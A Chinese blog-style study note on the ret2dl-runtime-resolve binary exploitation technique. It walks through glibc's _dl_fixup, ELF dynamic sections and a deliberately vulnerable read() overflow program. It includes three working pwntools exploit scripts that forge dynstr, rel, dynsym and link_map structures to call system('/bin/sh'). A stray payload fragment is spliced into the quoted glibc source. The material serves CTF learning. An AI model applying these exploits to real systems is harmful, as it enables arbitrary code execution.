前段时间因为身体原因摆烂了一周多了,今天又才重新开始做题,报了几场比赛都没能打成就很烦。
ret2dl-runtime-resolve 首先ELF文件的引用外部文件的加载方式分为三种FULL_RELRO、PARTIAL_RELRO、NO_RELRO,在后面两种的情况下存在地址延迟加载。
NO_RELRO
可以看到在第一次调用read函数的时候,此时会先根据GOT表的位置进行jmp到read@plt+6的位置,然后经过两次push之后到_dl_runtime_resolve函数。
在源码中dl_runtime_resolve函数只是call了一下_dl_fixup函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 #ifndef reloc_offset # define reloc_offset reloc_arg # define reloc_index reloc_arg / sizeof (PLTREL) #endif DL_FIXUP_VALUE_TYPE attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE _dl_fixup ( # ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS ELF_MACHINE_RUNTIME_FIXUP_ARGS, # endif struct link_map *l, ElfW(Word) reloc_arg) { const ElfW (Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]); const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); const ElfW (Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; const ElfW (Sym) *refsym = sym; void *const rel_addr = (void *)(l->l_addr + reloc->r_offset); lookup_t result; DL_FIXUP_VALUE_TYPE value; assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0 ) == 0 ) { const struct r_found_version *version = NULL ; if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL ) { const ElfW (Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMID# payload = p64(0)+p64(0x4011DD)+b'\x00' *(0x58-0x10)+p64(fake_dynrel_addr) + \ # p64(pop_rdi)+p64(bss+0xa0-0x8) +\ # p64(plt_load)+p64(fake_link_map_addr)+p64(0) # payload = payload.ljust(0xa0-8, b'\x00' )+b'/bin/sh\x00' + \ # p64(bss+0x58)+p64(leave_ret) # gdb.attach(r)X (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff ; version = &l->l_versions[ndx]; if (version->hash == 0 ) version = NULL ; } int flags = DL_LOOKUP_ADD_DEPENDENCY; if (!RTLD_SINGLE_THREAD_P) { THREAD_GSCOPE_SET_FLAG (); flags |= DL_LOOKUP_GSCOPE_LOCK; } #ifdef RTLD_ENABLE_FOREIGN_CALL RTLD_ENABLE_FOREIGN_CALL; #endif result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL ); if (!RTLD_SINGLE_THREAD_P) THREAD_GSCOPE_RESET_FLAG (); #ifdef RTLD_FINALIZE_FOREIGN_CALL RTLD_FINALIZE_FOREIGN_CALL; #endif value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0 ); } else { value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value); result = l; } value = elf_machine_plt_value (l, reloc, value); if (sym != NULL && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0 )) value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value)); if (__glibc_unlikely (GLRO(dl_bind_not))) return value; return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value); }
根据源码内容可以看出来解析时是根据符号名的字符串来解析函数的。
1 2 3 4 5 6 7 8 9 10 11 12 #include <unistd.h> #include <string.h> void fun () { char buffer[0x20 ]; read(0 ,buffer,0x200 ); } int main () { fun(); return 0 ; }
现在我们创建这样一个漏洞程序。
在NO_RELRO情况下,因为dynamic可以修改,因此,我们直接修改dynamic的strtab,将它指向我们可控的区域,然后在可控区域对应的位置布置下需要的函数的名字即可,即伪造dynstr。
可以看到上面是有可读可写的权限的。
指向的位置存在这样几个字符串。
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *r = process('./ret2dlsolve2' ) elf = ELF('./ret2dlsolve2' ) pop_ebp = 0x0804848b leave_ret = 0x08048358 read_plt = elf.plt['read' ] read_plt_load = elf.plt['read' ]+6 bss = elf.bss() target = 0x804961C +4 payload = b'a' *(0x28 +0x4 )+p32(pop_ebp)+p32(bss+0x300 ) + \ p32(read_plt)+p32(leave_ret)+p32(0 )+p32(bss+0x300 )+p32(0x1000 ) r.sendline(payload) fake_str = b'\x00libc.so.6\x00_IO_stdin_used\x00system\x00' payload = b'a' *0x4 +p32(read_plt)+p32(read_plt_load) + \ p32(0 )+p32(target)+p32(0x100 ) payload = payload.ljust(0x50 , b'\x00' )+fake_str r.sendline(payload) payload = p32(bss+0x350 )+b';sh' r.sendline(payload) r.interactive()
64位相较于32位比较类似,又因为参数是在寄存器内保存的所以,直接一次ROP即可解决。
PARTIAL_RELRO 首先再更深层次的观察_dl_runtime_resolve函数的作用。
这一步和上面一样,但是上面没有提到这两个push的作用,先继续往后看。
上面的0是reloc_arg,下面的0xf7ffd918则是link_map的地址。
通过这个地址即可找到.dynamic的地址,也就是上图中的第三个
.dynamic:是ld.so使用的动态链接信息,在/etc/ld.so.conf文件中存放着需要动态加载的目录,使用ldconfig就可以将ld.so.conf中的指定目录的库文件加载到内存中,并记录在/etc/ld.so.cache文件中。ld.so.1文件就可以在高速缓存中访问动态库文件,提高访问速度。导入动态链接库,可以在/etc/ld.so.conf文件中配置,或者使用LD_LIBRARY_PATH环境变量进行引用。
再根据.dynamic的地址找到另外几个结构的地址
其中的地址信息是:
.dynstr 的地址是 .dynamic + 0x44 -> 0x0804821c
.dynstr :动态链接的字符串表,保存动态链接所需的字符串。比如符号表中的每个符号都有一个 st_name(符号名),他是指向字符串表的索引,这个字符串表可能就保存在 .dynstr,而.dynstr结构为正常的字符串数组。
.dynsym 的地址是 .dynamic + 0x4c -> 0x080481cc
.dynsym :动态链接的符号表,保存需要动态连接的符号表,而.dynsym结构如下
1 2 3 4 5 6 7 8 9 10 typedef struct { Elf32_Word st_name; Elf32_Addr st_value; Elf32_Word st_size; unsigned char st_info; unsigned char st_other; Elf32_Section st_shndx; }Elf32_Sym;
.rel.plt 的地址是 .dynamic + 0x84 -> 0x08048298
.rel.plt :节的每个表项对应了所有外部过程调用符号的重定位信息。而.rel.plt结构如下
1 2 3 4 typedef struct { Elf32_Addr r_offset; Elf32_Word r_info; }Elf32_Rel
.rel.plt 的地址加上参数 reloc_arg,即 0x08048298 + 0 -> 0x08048298
找到的就是函数的重定位表项 Elf32_Rel 的指针,记作 rel
通过rel就可以获得Elf32_Rel结构体的数据
1 2 r_offset=0x0804a00c ; r_info=0x00000107 ;
将r_info>>8得到4也就得到了.dynsym中的下标。
从上往下从0开始,找到与下标相同的行获得第一列的数据根据即为name_offset
为什么是第一列是因为第一列的值其实就是上面写的偏移
再根据.dynstr+name_offset获得函数名的字符串。
最后再根据得到的字符串来执行函数。
梳理一下 1.首先push两个参数进入,随后执行_dl_runtime_resolve
2.根据link_map找到.dynamic地址
3.根据.dynamic找到.dynstr .dynsym .rel.plt
4.根据reloc_arg找到Elf32_Rel的指针rel
5.拿到r_info经过移位拿到index
6.根据index拿到name_offset结合.dynstr计算出函数的名字
rel_addr = .rel.plt_addr + reloc_arg
fake_rel_addr = .rel.plt_addr + fake_reloc_arg
fake_reloc_arg = fake_rel_addr - rel_addr + reloc_arg
根据以上简单的运算就可以实现伪造rel的地址
name_offset_addr=((r_info - 0x7)>>8)*0x10+.dynsym_addr
fake_name_offset_addr=((r_info - 0x7)>>8)*0x10+fake_dynsym_addr
r_info = (((fake_dynsym_addr - .dynsym_addr) / 16) << 8) + 0x7
这里伪造出rel当中的r_info的值
根据上面ida调试的截图很容易可以看出来dynsym的伪造很简单只需要按照原本的模式写就行
fake_dynsym = p32(system_str - dynstr_addr)+p32(0)+p32(0)+p8(0x12)+p8(0)+p16(0)
最终构造exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *r = process('./ret2dlsolve' ) elf = ELF('./ret2dlsolve' ) read_plt = elf.plt['read' ] read_got = elf.got['read' ] read_load_plt = 0x80482d0 leave_ret = 0x08048378 pop_ebp = 0x080484ab dynstr_addr = 0x0804821c dynsym_addr = 0x080481cc rel_addr = 0x08048298 bss = elf.bss() payload = b'a' *(0x28 +0x4 )+p32(pop_ebp)+p32(bss+0x800 ) + \ p32(read_plt)+p32(leave_ret)+p32(0 )+p32(bss+0x800 )+p32(0x1000 ) r.sendline(payload) fake_dynsym_addr = bss+0x910 system_str = bss+0x900 fake_rel = p32(read_got) + \ p32((((fake_dynsym_addr - dynsym_addr) // 16 ) << 8 ) + 0x7 ) fake_dynsym = p32(system_str - dynstr_addr)+p32(0 )+p32(0 )+p8(0x12 )+p8(0 )+p16(0 ) fake_rel_addr = fake_dynsym_addr+len (fake_dynsym) bin_sh_addr = bss+0x900 +len (b'system\x00' ) payload = b'a' *0x4 +p32(read_load_plt)+p32(fake_rel_addr - rel_addr)+p32(0 )+p32(bin_sh_addr) payload += payload.ljust(0x100 , b'\x00' ) + \ b'system\x00/bin/sh' .ljust(0x10 , b'\x00' ) payload += fake_dynsym+fake_rel r.sendline(payload) r.interactive()
下面是64位的情况,64位不能直接伪造rel.plt
1 2 3 4 5 6 7 8 if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL ) { const ElfW (Half) *vernum =(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff ; version = &l->l_versions[ndx]; if (version->hash == 0 ) version = NULL ; }
这里,出现了访问未映射的内存,主要原因就是reloc->r_info过大,bss段一般所在位置在0x600000然而真正的rel.plt一般在0x400000。
1 2 3 4 5 6 7 8 if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0 ) == 0 ) { ... } else { value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value); result = l; }
解决办法是绕过这个if判断进入else。
1 2 3 4 5 6 7 8 9 typedef struct { Elf64_Word st_name; unsigned char st_info; unsigned char st_other; Elf64_Section st_shndx; Elf64_Addr st_value; Elf64_Xword st_size; } Elf64_Sym;
如果我们伪造link_map,让sym->value为某一个已经解析了的函数地址,让l->addr为我们需要的函数地址到已知函数地址的偏移,那么l->l_addr + sym->st_value也就等于我们需要的函数地址。
比如,如果我们把read_got-8处当作sym那么sym->st_value也就等于read的地址,并且st_other正好也不为0,同时绕过了if,一举两得。
此时的rel结构为:
1 2 3 4 5 6 7 8 9 10 typedef struct { Elf64_Addr r_offset; Elf64_Xword r_info; Elf64_Sxword r_addend; } Elf64_Rela; #define ELF64_R_SYM(i) ((i) >> 32) #define ELF64_R_TYPE(i) ((i) & 0xffffffff) #define ELF64_R_INFO(sym,type) ((((Elf64_Xword) (sym)) << 32) + (type))
在动态调试也可以看到raed在符号表中的偏移为1(0x100000007>>32)
还有注意的就是我们需要伪造这个数组里的几个指针,它们分别是
DT_STRTAB指针:位于link_map_addr +0x68(32位下是0x34)
DT_SYMTAB指针:位于link_map_addr + 0x70(32位下是0x38)
DT_JMPREL指针:位于link_map_addr +0xF8(32位下是0x7C)
(其实我也不知道怎么调用的system,我猜测是因为DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
这句话的原因吧,希望知道的大师傅可以评论一下)
综上得出exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import *r = process('./ret2dlsolve_64' ) elf = ELF('./ret2dlsolve_64' ) libc = ELF('./libc.so.6' ) pop_rdi = 0x00000000004005c3 pop_rsi_r15 = 0x00000000004005c1 read_plt = elf.plt['read' ] read_got = elf.got['read' ] read_load_plt = 0x4003f6 bss = elf.bss() l_addr = libc.sym['system' ] - libc.sym['read' ] payload = b'a' *(0x20 +0x8 )+p64(pop_rdi)+p64(0 ) + \ p64(pop_rsi_r15)+p64(bss+0x100 )+p64(0 ) + \ p64(read_plt)+p64(elf.symbols['fun' ]) r.sendline(payload) dynstr_addr = 0x400318 fake_link_map_addr = bss+0x100 r_offset = fake_link_map_addr + l_addr * -1 - 8 l_addr = l_addr & (2 **64 -1 ) fake_strtab = p64(0 )+p64(dynstr_addr) fake_strtab_addr = fake_link_map_addr+0x8 fake_symtab = p64(0 )+p64(read_got-0x8 ) fake_symtab_addr = fake_link_map_addr+0x18 fake_dynrel_addr = fake_link_map_addr+0x28 fake_rel_addr = fake_link_map_addr+0x38 fake_dynrel = p64(0 )+p64(fake_rel_addr) fake_rel = p64(r_offset)+p64(0x7 )+p64(0 ) fake_link_map = p64(l_addr)+fake_strtab+fake_symtab+fake_dynrel+fake_rel fake_link_map = fake_link_map.ljust(0x68 , b'\x00' ) fake_link_map += p64(fake_strtab_addr)+p64(fake_symtab_addr) fake_link_map = fake_link_map.ljust(0xf8 ,b'\x00' )+p64(fake_dynrel_addr) fake_link_map = fake_link_map.ljust(0x100 ,b'\x00' )+b'/bin/sh' r.sendline(fake_link_map) bin_sh_addr = fake_link_map_addr+0x100 payload = b'a' *(0x20 +0x8 )+p64(pop_rdi) + \ p64(bin_sh_addr)+p64(read_load_plt) + \ p64(fake_link_map_addr)+p64(0 ) r.sendline(payload) r.interactive()
参考链接 https://blog.csdn.net/seaaseesa/article/details/104478081
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve/#second-try-no-leak
https://blog.csdn.net/jzc020121/article/details/116312592#t3